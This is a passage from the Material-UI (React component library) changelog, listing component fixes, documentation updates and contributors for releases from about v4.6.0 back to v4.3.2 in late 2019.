\"ResponsiveDrawer\" demo (#18045) @gorjan-mishevski\n- [ExpansionPanel] Use context instead of cloneElement (#18085) @eps1lon\n- [InputBase] Fix onChange event handler callback of inputProps (#18131) @sjsingh85\n- [OutlinedInput] Simplify customizations (#18127) @gregjoeval\n- [Slider] Improve UX for pointing device with limited accuracy (#18174) @oliviertassinari\n- [Slider] Increase hover hitbox for thumb (#18074) @eps1lon\n- [SwipeableDrawer] Only trigger a swipe when appropriate (#17993) @leMaik\n- [TextField] Add support for \"secondary\" color (#17891) @ValentinH\n- [TextField] Fix label not being associated with native select (#18141) @eps1lon\n- [TextField] Fix typo in FromControl warning (#18129) @xuanvan229\n- [types] Fix IsEmptyInterface with optional members (#18148) @amcasey\n- [types] Simplify some of the conditional types (#18128) @amcasey\n\n### `@material-ui/styles@v4.6.0`\n\n- [styles] Fix props based styles callback not including defaultProps (#18125) @salmanm\n\n### `@material-ui/lab@v4.0.0-alpha.31`\n\n- [Autocomplete] Add disabled prop (#18195) @m4theushw\n- [Autocomplete] Fix aria-controls and aria-activedescendant (#18142) @eps1lon\n- [Autocomplete] Fix crash with freeSolo and rich options (#18161) @oziniak\n- [Autocomplete] Fix disableListWrapp affecting initial focus (#18162) @eps1lon\n- [Autocomplete] Fix display in modal (#18160) @oliviertassinari\n- [Autocomplete] Fix multiple blur/focus crash (#18117) @itayyehezkel\n- [Autocomplete] Fix typo + types (#18096) @NaridaL\n- [Autocomplete] Rename autoHightlight prop to autoHighlight (#18137) @tkanzakic\n- [TreeView] Change when node map is built (#18154) @joshwooding\n- [SpeedDial] Fix fab items alignment (#18084) @itayyehezkel\n\n### Docs\n\n- [docs] Add ScaffoldHub to ads and example projects (#18071) @mbrookes\n- [docs] Add TagSpaces to the showcase (#18144) @uggrock\n- [docs] Add warning disabled button in Safari (#18072) @itayyehezkel\n- [docs] Break up TextField demos (#17483) @joshwooding\n- [docs] Fix typo (#18090) @mtsmfm\n- [docs] Fix various a11y issues reported by lighthouse (#18146) @eps1lon\n- [docs] Force usage of block language (#18069) @mtsmfm\n- [docs] Improve TypeScript support of Next.js examples (#18088) @Tokenyet\n- [docs] Move \"TextField\" section higher in the \"Selects\" page (#17643) @croraf\n- [docs] Rename interface headCell to HeadCell (#18093) @EngMoathOmar\n- [docs] Update notification v4.5.2 @oliviertassinari\n\n### Core\n\n- [test] Build all `@material-ui/*` packages for CodeSandbox CI (#18100) @eps1lon\n- [test] Fix tests failing on subsequent runs in watchmode (#18076) @eps1lon\n- [test] Fix tests polluting DOM (#18163) @eps1lon\n- [core] Batch small changes (#18041) @oliviertassinari\n- [core] Batch small changes (#18155) @oliviertassinari\n\n## 4.5.2\n\n_Oct 28, 2019_\n\nA big thanks to the 48 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 🔍 Introduce a new Autocomplete component in the lab to support the autocomplete, combobox and multi-select use cases (#17037) @dreamsinspace.\n\n  This [new component](https://mui.com/components/autocomplete/) will replace the [third-party integration examples](https://mui.com/components/integrated-autocomplete/) once it graduates from the lab to the core.\n  It was one of the [most requested features](https://x.com/MaterialUI/status/1148901411180163073) (by number of 👍 on the corresponding issue).\n\n- 📚 Show the JSX by default for small examples (#17831) @mbrookes.\n- ♿️ Improve Gatsby's Modal support (#17972) @sreetej1998.\n- 🐛 Better support Preact (#18027) @glromeo.\n- 💅 Improve Chrome autofill dark theme support (#17863) @MAkerboom.\n- 📚 Add new context menu demo (#17839) @SarthakC.\n\n### `@material-ui/core@v4.5.2`\n\n- [Avatar] Revert #17694, correct the API docs, add tests (#18026) @mbrookes\n- [Checkbox] Add TypeScript demo for FormControlLabelPosition (#17964) @burtyish\n- [Dialog] Fix labelledby and describedby placement (#18032) @eps1lon\n- [Dialog] Reduce margins (#17867) @rahulkotha18\n- [ExpansionPanelSummary] Test in StrictMode (#17873) @eps1lon\n- [FormControlLabel] Add missing CSS class keys to TypeScript (#17963) @itayyehezkel\n- [Link] Warn when using plain function component in `component` (#17825) @Nikhil-Pavan-Sai\n- [ListSubheader] Reduce specificity of TypeScript type (#17715) @sakulstra\n- [Menu] Add new context menu demo (#17839) @SarthakC\n- [Modal] Fix tabIndex customization (#17939) @Cyrus-d\n- [Modal] Improve Gatsby support (#17972) @sreetej1998\n- [Popper] Revert position fix (#17914) @rahulkotha18\n- [Select] Add labelId to implement proper labeling (#17892) @eps1lon\n- [Select] Better support Preact (#18027) @glromeo\n- [Select] Document how values are compared (#17912) @DustinRobison\n- [Slider] Apply the disabled pseudo class on the thumb too (#18011) @hoop71\n- [Slider] Format value passed to ValueLabelComponent (#17985) @hoop71\n- [SnackbarContent] Convert unit tests to testing-library (#17942) @emilyuhde\n- [Snackbar] Change default role from 'alertdialog' to 'alert' (#17897) @emilyuhde\n- [SwipeableDrawer] Change close swipe behavior and fix touch bug (#17941) @leMaik\n- [Switch] Fix hover style on mobile (#18034) @SarthakC\n- [Tab] Run tests in StrictMode (#18037) @eps1lon\n- [TablePagination] Support display of all rows (#17885) @SarthakC\n- [Table] Demo multiple group headers (#17933) @rayy-lo\n- [Table] Fix sticky header interaction with checkboxes (#17968) @Lavoaster\n- [Table] Improve RTL virtualized demo support (#18038) @FabianKielmann\n- [TextField] Improve Chrome autofill dark theme support (#17863) @MAkerboom\n- [TextareaAutoSize] Add ref prop (#17835) @Tarun047\n\n### `@material-ui/styles@v4.5.2`\n\n- [styles] Allow ref on withTheme components in TypeScript (#17695) @ianschmitz\n\n### `@material-ui/system@v4.5.2`\n\n- [system] Support style.transform return React.CSSProperties (#18030) @yoyooyooo\n\n### `@material-ui/lab@v4.0.0-alpha.30`\n\n- [Autocomplete] Introduce new component (#17037) @dreamsinspace\n\n### Docs\n\n- [docs] Add TypeScript demo for DynamicCSS (#17994) @netochaves\n- [docs] Add TypeScript demo for DynamicCSSVariables (#17983) @netochaves\n- [docs] Add TypeScript demo for MaterialTable (#17938) @schapka\n- [docs] Add TypeScript demo for WithWidth (#17930) @burtyish\n- [docs] Add TypeScript demos for SimpleNoSsr and FrameDeferring (#17913) @ganes1410\n- [docs] Add TypeScript demos for SplitButton in components/buttons (#17862) @rahmatrhd\n- [docs] Add demo for actions in ExpansionPanelSummary (#17969) @ayliao\n- [docs] Add demo for prominent app bar (#17894) @burtyish\n- [docs] Add notification about the date picker survey @oliviertassinari\n- [docs] Clarify aria role of Switch (#17870) @eps1lon\n- [docs] Document mui-rff (#17943) @lookfirst\n- [docs] Explain checks in Contributing (#18033) @eps1lon\n- [docs] Fix \"Unknown\" typo (#17911) @qmertesdorf-terratrue\n- [docs] Fix RTL-toggle tooltip bug in app bar (#17865) @flurmbo\n- [docs] Fix a typo while reading the doc :) (#18040) @daemonsy\n- [docs] Fix grammar in docs (#17889) @DDDDDanica\n- [docs] Fix typo in Paperbase theme (#17984) @DavidMoraisFerreira\n- [docs] Fix typos and grammar in getting started (#17880) @tonyjmartinez\n- [docs] Improve TabelCell description (#17979) @uxitten\n- [docs] Improve fixed app bar placement section (#17896) @adeelibr\n- [docs] Lazy load landing page images (#17827) @eps1lon\n- [docs] Optimize images (#18025) @MichaelDeBoey\n- [docs] Prevent layout shift when rendering ads (#17893) @Janpot\n- [docs] README: change material design link to use material.io (#17967) @RDIL\n- [docs] Remove unused styles in EnhancedTable demo (#17902) @FeynmanDNA\n- [docs] Replace negative actions from fab examples (#17926) @nuragic\n- [docs] September 2019 Update (#17852) @oliviertassinari\n- [docs] Show the JSX by default for small examples (#17831) @mbrookes\n- [docs] Update the translations (#18042) @mbrookes\n- [docs] Workaround next.js AMP support limitation (#18020) @fbnklmnvds\n- [docs] document use of theme.mixins.toolbar & <Toolbar /> when using Appbar variant fixed (#17878) @adeelibr\n\n### Core\n\n- [core] Batch small changes (#17910) @oliviertassinari\n- [core] Custom deepmerge implementation (#17982) @oliviertassinari\n- [core] Ignore meta, ctrl and alt in keyboard modality detection (#17924) @adeelibr\n- [core] Reduce eslint-disables (#17841) @eps1lon\n- [core] Remove redundant production check (#17929) @ellisio\n- [test] Add codesandbox CI config (#17874) @eps1lon\n- [test] Add silent option to CodeSandbox CI config (#18024) @CompuIves\n- [test] Only build component packages for codesandbox (#17976) @eps1lon\n- [test] Reduce ByRole calls (#18015) @eps1lon\n- [test] Run tests periodically with `react@next` (#18008) @eps1lon\n- [test] Use Performance implementation of vendors (#18073) @eps1lon\n\n## 4.5.1\n\n_Oct 12, 2019_\n\nA big thanks to the 28 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 📚 Change imports from @material-ui/styles to @material-ui/core/styles (#17447) @mnemanja\n\n  The presence of two almost identical import paths has been a source of confusion: `@material-ui/styles` and `@material-ui/core/styles`.\n  Starting with v4.5.1, the documentation mentions `@material-ui/core/styles` as much as possible.\n\n  ```diff\n  -import { makeStyles } from '@material-ui/styles';\n  +import { makeStyles } from '@material-ui/core/styles';\n  ```\n\n  This change removes the need to install the `@material-ui/styles` package directly.\n  It prevents the duplication of `@material-ui/styles` in bundles and avoids confusion.\n  You can [learn more about the difference](https://v4.mui.com/styles/basics/#material-ui-core-styles-vs-material-ui-styles) in the documentation.\n\n- ♿️ Improve the accessibility of the table and select components (#17696, #17773) @adeelibr, @eps1lon.\n- 📊 Launch a Developer Survey as a precursor to a major DatePicker enhancement effort.\n- 💄 Add support for different [slider track mode](https://mui.com/components/slider/#track) (#17714) @slipmat.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.5.1`\n\n- [AppBar] Fix display of elevation with position static (#17819) @sreetej1998\n- [Avatar] Allow to set src and children (#17694) @lcswillems\n- [BottomNavigationAction] Test in StrictMode (#17837) @eps1lon\n- [ButtonBase] Document how to use cursor not-allowed (#17778) @slipmat\n- [Button] Add missing class keys for icon sizing (#17677) @mvestergaard\n- [Button] Fix duplicate class names (#17690) @netochaves\n- [Dialog] Forward the id in example (#17678) @ricsam\n- [Modal] Remove mentions of legacy classes (#17798) @eps1lon\n- [Popover] Add root class (#17817) @jayesh-kaza\n- [Popper] Fix placement update logic (#17781) @hoop71\n- [Portal] Remove redundant circular PortalProps import (#17676) @le0nik\n- [Select] Fix opening select requiring double enter with NVDA (#17773) @eps1lon\n- [Select] Simplify blur logic (#17299) @eps1lon\n- [Select] Add missing y to setDisplaNode (#17716) @sakulstra\n- [Select] Warn for unmatched value (#17691) @asownder95\n- [Slider] Add support for removed and inverted track (#17714) @slipmat\n- [Slider] Fix drag interruption when leaving browser (#17765) @hoop71\n- [Table] Add aria-label & caption in table demos (#17696) @adeelibr\n\n### `@material-ui/icons@v4.5.1`\n\n- [icons] Introduce a new GitHub brand icon\n\n### `@material-ui/lab@v4.0.0-alpha.29`\n\n- [SpeedDial] Pass event and reason to onOpen, onClose (#17783) @lsnch\n\n### `@material-ui/system@v4.5.1`\n\n- [system] Fallback to value if theme's value is an array and index missing (#17661) @stasiukanya\n\n### Docs\n\n- [docs] Add Customization/Components TypeScript demo (#17788) @limatgans\n- [docs] Add Media Query TypeScript demo (#17766) @lksilva\n- [docs] Add TypeScript demos for guides/interoperability (#17804) @limatgans\n- [docs] Add classNames TypeScript demo (#17771) @lksilva\n- [docs] Add component demos in TypeScript (#17790) @lksilva\n- [docs] Add dynamic class name TypeScript demo (#17793) @lksilva\n- [docs] Add useWidth TypeScript demo (#17770) @lksilva\n- [docs] Added TypeScript Demos for component/toggle-button (#17822) @limatgans\n- [docs] Better strict mode switch (#17684) @eps1lon\n- [docs] Change imports from @material-ui/styles to @material-ui/core/styles (#17447) @mnemanja\n- [docs] Extend size-snapshot (#17633) @eps1lon\n- [docs] Fix react-number-format example for FormattedInputs (#17675) @s-yadav\n- [docs] Fix typo (#17698) @Ceejaymar\n- [docs] Fix typo and improve consistency (#17821) @stasiukanya\n- [docs] Fix typo in versions.md (#17782) @raymondsze\n- [docs] Fixed typo in Components/Modal (#17704) @lzhuor\n- [docs] Improve contributing guidelines (#17653) @oliviertassinari\n- [docs] Mentioned CSS required for disabling transitions (#17802) @burtyish\n- [docs] Migrate Globals demo to TypeScript (#17785) @limatgans\n- [docs] Migrate Palette demo to TypeScript (#17683) @limatgans\n- [docs] Prepare the DatePicker Developer Survey notification (#17805) @oliviertassinari\n- [docs] Update \"Who's using\" (#17830) @mbrookes\n- [docs] Update notification @oliviertassinari\n- [docs] Update useMediaQuery example to avoid confusion with print (#17642) @epeicher\n\n### Core\n\n- [ci] Fix size comparison sort order (#17800) @eps1lon\n- [core] Batch small changes (#17673) @oliviertassinari\n- [core] Batch small changes (#17807) @oliviertassinari\n- [test] Fix test_browser timing out (#17763) @eps1lon\n- [test] Use testing-library for ToggleButton\\* tests (#17768) @eps1lon\n\n## 4.5.0\n\n_Oct 2, 2019_\n\nA big thanks to the 20 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 💄 Add startIcon and endIcon props for the button (#17600) @mbrookes\n\n  ```jsx\n  import DeleteIcon from '@material-ui/icons/Delete';\n\n  <Button startIcon={<DeleteIcon />}>Delete</Button>;\n  ```\n\n- 🔐 Add support for Chrome autofill (#17436, #17552) @croraf\n- 💅 Adjust table styles to match spec (#17388) @kybarg\n- 💅 Adjust menu styles to match spec (#17332) @damir-sirola\n- 💅 Adjust chip styles to match spec (#17584) @oliviertassinari\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.5.0`\n\n- [theme] Allow an arbitrary number of elevations (#17659) @millnitzluan\n- [ButtonGroup] Fix missing divider if background color is set (#17648) @neon98\n- [ButtonGroup] Support text variant (#17529) @Dhruvi16\n- [Button] Add startIcon / endIcon props (#17600) @mbrookes\n- [Button] Improve horizontal padding (#17640) @mbrookes\n- [Button] Increase elevation on hover when contained (#17537) @eps1lon\n- [CardMedia] Add separate rules for Image components (#17591) @neon98\n- [Chip] Update style to match the specification (#17584) @oliviertassinari\n- [InputBase] Fix remaining issues with Chrome autofill (#17552) @croraf\n- [MenuItem] Update size on desktop to match spec (#17332) @damir-sirola\n- [Menu] Fix menu being focused instead of item when opening (#17506) @eps1lon\n- [Menulist] Add autoFocusItem for initial focus control (#17571) @eps1lon\n- [SwipeableDrawer] Calculate transition duration based on swipe speed (#17533) @dan8f\n- [Table] Adjust table styles to the latest specs (#17388) @kybarg\n- [Tabs] Add new updateScrollButtonState() action (#17649) @neon98\n- [TextareaAutosize] Improve line computation and avoid infinite loop (#17652) @neon98\n\n### `@material-ui/lab@v4.0.0-alpha.28`\n\n- [Slider] Remove from the lab (#17528) @oliviertassinari\n\n  ```diff\n  -import { Slider } from '@material-ui/lab';\n  +import { Slider } from '@material-ui/core';\n  ```\n\n### `@material-ui/system@v4.5.0`\n\n- [system] Fix props being required from `style` function (#17534) @abukurov\n\n### `@material-ui/styles@v4.5.0`\n\n- [styles] Bump jss dependencies to v10.0.0 stable (#17536) @eps1lon\n\n### `@material-ui/codemod@v4.5.0`\n\n- [codemod] Fix build importing esm version of babel/runtime (#17561) @merceyz\n\n### Docs\n\n- [docs] Batch small fixes (#17527) @oliviertassinari\n- [docs] Fix CHANGELOG format @oliviertassinari\n- [docs] Fix calculation of height for empty rows (#17657) @Teloah\n- [docs] Improve /styles vs /core/styles description (#16473) @bigtone1284\n- [docs] Improve CSP nonce docs (#17594) @johnnyreilly\n- [docs] Improve Contributing.md (#17597) @croraf\n- [docs] Improve bundle size option 2 advantage wording (#17577) @ilanbm\n- [docs] Improve testing readme (#17557) @eps1lon\n- [docs] Move GOVERNANCE.md and ROADMAP.md files from root (#17531) @croraf\n- [docs] Remove already moved SUPPORT.md file (#17525) @croraf\n- [docs] Remove an un-used className in template Blog (#17587) @FeynmanDNA\n- [docs] Reword icons page (#17558) @croraf\n- [examples] Fix CRA start script (#17598) @lychyi\n\n### Core\n\n- [core] Fix missing peer dependency warning (#17632) @eps1lon\n- [core] Re-export all the styles modules from core (#17419) @merceyz\n- [core] Warn if anchor element is not visible (#17599) @eAmin\n- [dependencies] Put dependabot config in vcs (#17651) @eps1lon\n- [test] Bump `@testing-library/dom` (#17573) @eps1lon\n- [test] Isolate each test case using testing-library (#17394) @eps1lon\n- [ci] Use azure aws tasks instead of aws-sdk (#17631) @eps1lon\n- [Select] Make internal tests public (#17538) @eps1lon\n\n## 4.4.3\n\n_Sep 22, 2019_\n\nA big thanks to the 23 contributors who made this release possible!\nThis is a stability release.\n\n### `@material-ui/core@v4.4.3`\n\n- [TextField] Handle Chrome autofill (#17436) @croraf\n- [ButtonBase] Fix blurry text issue (#17453) @chibis0v\n- [CircularProgress] Fix centering (#17482) @fiws\n- [Chip] Load the right version of Avatar (#17469) @Maxim-Mazurok\n- [TablePagination] Merge root classes properly (#17467) @DavidHenri008\n- [Box] Fix demo item name (#17523) @Skaronator\n- [Breadcrumbs] Improve API docs (#17468) @eps1lon\n- [Menu] Isolate more integration tests (#17490) @eps1lon\n- [SelectInput] Use `@testing-library` for test (#17390) @eps1lon\n\n### `@material-ui/styles@v4.4.3`\n\n- [styles] Bump jss dependencies to 10.0.0-alpha.25 (#17520) @eps1lon\n- [core] Replace warning with manual console.error (#17404) @eps1lon\n\n### `@material-ui/lab@v4.0.0-alpha.27`\n\n- [TreeItem] Use the 'endIcon' prop where appropriate (#17488) @Chocolatl\n- [Skeleton] Make default CSS display mode to block (#17406) @ahtcx\n- [SpeedDial] Rework part of the logic (#17301) @hashwin\n\n### `@material-ui/icons@v4.4.3`\n\n- [docs] Update README.md\n\n### `@material-ui/system@v4.4.3`\n\n- [core] Replace warning with manual console.error (#17404) @eps1lon\n\n### Docs\n\n- [examples] Add a Gatsby Theme example (#17411) @hupe1980\n- [docs] Add a customization example with ToggleButton (#17401) @nrkroeker\n- [docs] Add a note in disabled tooltip (#17421) @konekoya\n- [docs] Add a support page (#17437) @oliviertassinari\n- [docs] Add demo for vertical dividers (#17457) @nrkroeker\n- [docs] Add synonyms for brand icons (#17455) @mbrookes\n- [docs] August Update (#17439) @oliviertassinari\n- [docs] Batch small changes (#17435) @oliviertassinari\n- [docs] CONTRIBUTING.md reword branch structure, remove Build, Yarn Link (#17501) @croraf\n- [docs] Clarify props spread for ListItem when button flag is set (#17466) @rossmmurray\n- [docs] Fix Popper demo link typo (#17522) @mbrookes\n- [docs] Fix a typo in CONTRIBUTING.md (#17400) @konekoya\n- [docs] Fix english language link (#17526) @croraf\n- [docs] Fix heading format in CONTRIBUTING.md (#17460) @paras151\n- [docs] Improve in-site search (#17450) @eps1lon\n- [docs] Improve the documentation covering react-router (#17343) @MelMacaluso\n- [docs] Move BACKERS.md file (#17508) @croraf\n- [docs] Remove Access to premium modules from the support page (#17489) @oliviertassinari\n- [docs] Spelling mistake (#17500) @jehuamanna\n- [docs] Update translations (#17509, #17438) @mbrookes\n- [docs] Use Button for language menu (#17487) @mbrookes\n- [docs] Use Suspense for lazy loading algolia (#17451) @eps1lon\n- [docs] Wrong URL for spacing in PT (#17502) @renatoagds\n\n### Core\n\n- [core] Prevent empty useEffect in production (#17420) @merceyz\n- [core] Replace warning with manual console.error (#17404) @eps1lon\n- [core] Warn when changing between controlled uncontrolled (#17422) @kmhigashioka\n\n## 4.4.2\n\n_Sep 11, 2019_\n\nA big thanks to the 7 contributors who made this release possible!\nThis is a quick release after v4.4.1 to solve 3 regressions.\n\n### `@material-ui/core@v4.4.2`\n\n- [Grid] Remove lab import @oliviertassinari\n- [Radio] Add zIndex to SwitchBase (#17389) @andokai\n- [TextField] Fix incorrect focus handler types for FormControl (#17378) @eps1lon\n- [StepButton] Fix overlap with StepContent (#17374) @rossmmurray\n\n### Docs\n\n- [docs] Add material-ui-flat-pagination to related projects (#17372) @szmslab\n- [docs] Add tubular-react in related project (#17371) @geoperez\n- [docs] Add tubular-react to tables related projects (#17382) @geoperez\n- [docs] Fix color tool crash (#17380) @jsjain\n\n### Core\n\n- [core] Bump `@babel/*` deps (#17363) @eps1lon\n\n## 4.4.1\n\n_Sep 8, 2019_\n\nA big thanks to the 21 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 💄 Introduce 10 new brand icons and 61 new official Material Design icons (#17257, #17274) @colemars and @mbrookes.\n- ⚛️ Move a few descriptions of the props to TypeScript (#17300) @merceyz.\n  This change allows the IDEs to display the props' descriptions in place, without having to go to the documentation.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.4.1`\n\n- [Badge] Improve shape of 2 digit badge (#17247) @mbrookes\n- [Cars] Fix export issue for consistency (#17354) @yikkok-yong\n- [Modal] Support theme default props (#17337) @ianschmitz\n- [Rating] Fix a few issues (#17270) @oliviertassinari\n- [Select] Changes the default input based on variant prop (#17304) @netochaves\n- [Select] Follow spec with placement of dropdown icon (#17303) @lonssi\n- [Slider] Add getAriaLabel prop (#17240) @city41\n- [SvgIcon] Fix color type definition including default (#17288) @merceyz\n- [Table] Fix sticky header table with buttons/inputs (#17285) @Studio384\n- [TextareaAutosize] Show scrollbar when rowsMax is exceeded (#17310) @Shubhamchinda\n- [useMediaQuery] Workaround Safari wrong implementation of matchMedia (#17315) @momentpaul\n\n### `@material-ui/icons@v4.4.1`\n\n- [icons] Add social icons (#17274) @mbrookes\n- [icons] Refresh material icons (#17259) @colemars\n- [icons] Update script to use latest json file (#17257) @colemars\n\n### `@material-ui/styles@v4.4.1`\n\n- [styles] Fix global classnames being disabled in deserialized themes (#17345) @eps1lon\n- [styles] Support augmenting a default theme type (#16777) @merceyz\n\n### `@material-ui/lab@v4.0.0-alpha.26`\n\n- [lab] Generate proptypes from type definitions (#17300) @merceyz\n- [ToggleButton] Improve accessibility (#17290) @mbrookes\n- [ToggleButton] Update TypeScript class keys (#17278) @ljvanschie\n\n### Docs\n\n- [misc] Batch small changes (#17316) @oliviertassinari\n- [docs] Fix CHANGELOG.md (#17331) @skirunman\n- [docs] Add new synonyms for Material Icons (#17272) @mbrookes\n- [docs] Add script to merge MD icon tags with synonyms (#17312) @mbrookes\n- [docs] Batch small changes (#17268) @oliviertassinari\n- [docs] Fix more SEO issue report @oliviertassinari\n- [docs] Add TypeScript version of paperbase theme (#17213) @eps1lon\n- [docs] Improve /customization/typography/ (#17307) @meebix\n- [docs] Improve grammar in snackbars (#17296) @chaseholdren\n- [docs] Notification for v4.4.0 @oliviertassinari\n- [docs] Only server-side render the popular languages (#17249) @oliviertassinari\n- [docs] Reduce the use of \"our\", \"We\"... (#17347) @mbrookes\n- [docs] Remove section about modal performance (#17284) @eps1lon\n- [docs] Remove unnecessary any cast (#17292) @eps1lon\n- [docs] Remove wrong alternate languages (#17311) @oliviertassinari\n- [docs] Sync JavaScript version with TypeScript @oliviertassinari\n- [docs] Update translations (#17351) @mbrookes\n- [docs] Update translations.json (#17266) @mbrookes\n\n### Core\n\n- [core] Add ref type to every component (#17286) @eps1lon\n- [core] Fix typo contaniners -> containers (#17280) @charlax\n- [core] Fix various dependency issues (#17317) @eps1lon\n- [core] Generify props with component property (#16487) @ypresto\n- [core] Guard against bad Symbol polyfills (#17336) @briandelancey\n\n## 4.4.0\n\n_Aug 31, 2019_\n\nA big thanks to the 29 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- ✨ Add fixed Table header Support (#17139) @egerardus.\n- 🌳 Accept any label in TreeView (#17080) @oliviertassinari.\n- 🏝 Add standalone ToggleButton mode (#17187) @simshaun.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.4.0`\n\n- [Backdrop] Render children inside div (#17115) @dominictwlee\n- [Button] Fix typo in demo text (#17230) @jasonkylefrank\n- [Button] Remove code leftover from < v4 (#17232) @sakulstra\n- [ButtonGroup] Fix border color when disabled and contained (#17109) @ryanburr\n- [CardActionArea] Fix 'border-radius' (#17221) @stasiukanya\n- [CircularProgress] Document String format for size prop (#17081) @devsumanmdn\n- [Drawer] Include ref when variant=persistent (#17090) (#17091) @ZachStoltz\n- [Menu] Include 'list' in class key (#17205) @rbrishabh\n- [MenuItem] Add missing dense classkey (#17103) @JapuDCret\n- [Popover] Fix anchorEl positioning within popup window (#17128) @zekehernandez\n- [Popover] Fix update position action (#17097) @netochaves\n- [RadioGroup] Make value accept any (#17132) @cmeeren\n- [Slider] Avoid mutating user's value prop (#17085) @elmeerr\n- [Switch] Fix rendering in IE11 and Safari (#17095) @rbrishabh\n- [Table] Add sticky header support (#17139) @egerardus\n- [TextField] Specs alignment (#17192) @elmeerr\n- [TextField] Update outlined label when prop changes (#17217) @Shubhamchinda\n- [Tooltip] Fix interactive + enterDelay combination (#17174) @kiransiluveru\n- [Typography] noWrap requires display block (#17206) @rbrishabh\n- [Badge] Add alignment options to badges (#17204) @ahtcx\n- [LinearProgress] Make color adapt to theme type (#17219) @ahtcx\n\n### `@material-ui/lab@v4.0.0-alpha.25`\n\n- [ToggleButton] Improve customizability (#17187) @simshaun\n- [TreeView] Support node label (#17080) @oliviertassinari\n- [Rating] Add Custom prop-type to prop name (#17078) @netochaves\n- [Rating] Improve signature in docs (#17093) @cmeeren\n\n### Docs\n\n- [docs] Better document the ref props in the API (#17198) @oliviertassinari\n- [docs] Fix edit dependencies extraction (#17120) @Shubhamchinda\n- [docs] Fix page rendering on Crowdin (#17135) @mbrookes\n- [docs] Fix popover demo event.target is null (#17104) @spaceexperiment\n- [docs] Fix typo in modal demo (#17122) @Shubhamchinda\n- [docs] Implement in-context translation (#17040) @mbrookes\n- [docs] Improve custom styles of the demos (#17118) @uxitten\n- [docs] Improve enhanced table variable name (#17141) @keiohtani\n- [docs] Improve style of the demos (#17218) @uxitten\n- [docs] Minor Update to remove \"n°\" notations (#17200) @skube\n- [docs] Missing degree/option symbol (#17189) @skube\n- [docs] New translations (#17134) @mbrookes\n- [docs] Remove unnecessary createStyles in TypeScript Tabs demo (#17164) @Imballinst\n- [docs] Require less strict tsconfig (#17214) @eps1lon\n- [examples] Fix warning in next.js example (#17133) @Janpot\n- [examples] Fix warnings Container in \\_app.js with Next.js (#17181) @saltyshiomix\n\n## 4.3.3\n\n_Aug 21, 2019_\n\nA big thanks to the 22 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 🔍 Introduce a [material icons search](https://mui.com/components/material-icons/) (#16956).\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.3.3`\n\n- [AppBar] Add back to top demo (#17062) @oliviertassinari\n- [CardHeader] Remove mention of children from API docs (#17045) @cmeeren\n- [Dialog] Add support for a Dialog without a DialogTitle (#16980) @megos\n- [Divider] Add vertical support (#17063) @oliviertassinari\n- [Grid] Better support custom theme spacing values (#17005) @Workvictor\n- [Modal] Add transition documentation (#17059) @oliviertassinari\n- [Select] Hide SVG icon for native multiple select (#16992) @craigmjackson\n- [Slider] Fix mouse enter edge case for Firefox (#16986) @Astrantia\n- [Slider] Hide mark labels to screen readers (#17024) @Patil2099\n- [Tabs] Fix issue where scrollable tabs auto move to selected tab (#16961) @wereHamster\n- [TextareaAutosize] Export component in barrel index.js (#17003) @Shubhamchinda\n- [TextareaAutosize] Update spelling in props (umber to number) (#16982) @melwyn001\n- [Tooltip] Fix word wrapping (#17020) @pranshuchittora\n- [Tooltip] Improve arrow demo (#17058) @Patil2099\n\n### `@material-ui/lab@v4.0.0-alpha.24`\n\n- [Rating] Improve rendering of arbitrary precision (#17013) @Patil2099\n- [TreeView] Lazy render the tree items (#17046) @Shubhamchinda\n- [Skeleton] Add missing exports from the barrel (#16960) @mejackreed\n\n### `@material-ui/styles@v4.3.3`\n\n- [styles] Better support right-to-left (#17019) @AminZibayi\n\n### Docs\n\n- [docs] Add TypeScript example for switch label position (#16959) @nowNick\n- [docs] Adjust React + Material UI + Firebase for v2.0 (#16988) @Phoqe\n- [docs] Improve instructions for Babel import plugins (#16993) @lookfirst\n- [docs] Make it easier to find material icons (#16956) @oliviertassinari\n- [docs] Add synonyms for Material icons (#17021) @mbrookes\n- [docs] Migration guide to v4: include change to dense Lists (#17074) @zekehernandez\n- [docs] Prefer SVG over font icons in the demos (#17056) @troussos\n- [docs] Small changes (#17060) @oliviertassinari\n- [example] Remove unused MuiLink declaration (#16991) @colemars\n\n### Core\n\n- [core] Classes to hooks (#17061) @oliviertassinari\n- [core] Upgrade the dependencies (#16990) @oliviertassinari\n- [core] yarn docs:export support for Windows (#17009) @vabole\n\n## 4.3.2\n\n_Aug 10, 2019_\n\nA big thanks to the 22 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 🦴 Introduce a new Skeleton component in the lab (#16786).\n- 📦 Reduce bundle size by -10%,-20% of the small helpers like useMediaQuery, Portal, and TextareaAutosize (#16842) @NMinhNguyen.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.3.2`\n\n- [Box] Forward props into cloned element (#16882) @RostyslavKravchenko\n- [ButtonGroup] Allow override of the variant prop (#16946) @nvwebd\n- [ButtonGroup] Separate button colors (#16876) @CyanoFresh\n- [CssBaseline] Add backdrop base styles (#16880) @yordis\n- [Fab] Accept FabProps in theme.props (#16877) @aditya1906\n- [FormControl] Warn if rendered multiple inputs (#16923) @lemes\n- [Popper] Fix ScrollPlayground.js demo (#16948) @pinktig\n- [Slider] Update TypeScript demo to cast types to values (#16957) @allypally\n- [Stepper] Improve the description of the icon prop (#16916) @mbrookes\n- [TextField] How to leverage CSS input validation (#16903) @jonkelling\n- [Textfield] Add left property to prevent scrollbars on IE11 (#16936) @beaudry\n- [ToggleButton] Fix horizontal shift (#16861) @wereHamster\n- [Transition] Forward isAppearing to onEnter, onEntering, onEntered (#16917) @millerrafi\n\n### `@material-ui/lab@v4.0.0-alpha.23`\n\n- [TreeView] Fix the height of the customization demo (#16874) @mbrookes\n- [Skeleton] New component (#16786) @oliviertassinari\n\n### `@material-ui/system@v4.3.3`\n\n- [system] Avoid `!important` in `borderColor` prop (#16875) @rogerclotet\n\n### Docs\n\n- [blog] July 